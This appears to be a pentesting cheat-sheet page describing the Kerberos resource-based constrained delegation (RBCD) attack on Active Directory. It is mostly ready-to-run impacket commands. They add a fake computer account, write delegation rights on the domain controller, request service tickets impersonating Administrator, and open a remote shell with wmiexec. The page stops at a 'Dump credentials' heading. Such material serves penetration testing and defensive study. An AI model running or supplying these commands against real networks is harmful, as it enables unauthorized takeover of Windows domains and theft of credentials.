Last modified: 2024-09-10

Kerberos RBCD attack targets a domain computer, exactly service principals related to the target domain computer.

Exploit

Reference: https://github.com/tothi/rbcd-attack#abusing-kerberos-resource-based-constrained-delegation

0. Prerequisites

To achieve this attack successfully, we need the following conditions:

  • A domain account who has permission to write the computer (msDS-AllowedToActOnBehalfOfOtherIdentity property of the domain object).
  • A domain account who has permission to create a new computer.
  • LDAP (389) and SAMR (445) or LDAPS (636) access to the DC.
  • Kerberos (88) access to the DC.

1. Create Fake Computer

impacket-addcomputer -computer-name 'FAKECOMPUTER$' -computer-pass 'password123' -dc-ip 10.0.0.1 'example.local/username:password'

2. Modify Delegation Rights

We can use rbcd.py for abusing msDS-AllowedToActOnBehalfOfOtherIdentity property of the target.

impacket-rbcd -delegate-from 'FAKECOMPUTER$' -delegate-to 'DC$' -dc-ip 10.0.0.1 -action 'write' 'example.local/username:password'

3. Get the Impersonated Service Ticket

Impersonated service tickets may allow high-level access to services on the target like CIFS (Common Internet File System), HTTPs, etc.

impacket-getST -spn 'cifs/dc.example.local' -impersonate Administrator -dc-ip 10.0.0.1 'example.local/FAKECOMPUTER$:password123'
# or
impacket-getST -spn 'ldap/dc.example.local' -impersonate Administrator -dc-ip 10.0.0.1 'example.local/FAKECOMPUTER$:password123'

4. Use the Service Ticket

After getting the service ticket, we can use it for further pentesting.
Before doing that, we need to add the environment variable as below:

export KRB5CCNAME=`pwd`/admin.ccache

# Check by listing tickets.
# If the klist command not found, install it by `apt install krb5-user`
klist
  • Login to Services with Kerberos Auth

    # -k: Use Kerberos Auth
    # -no-pass: No password
    impacket-wmiexec example.local/Administrator@example.local -k -no-pass
    
  • Dump credentials
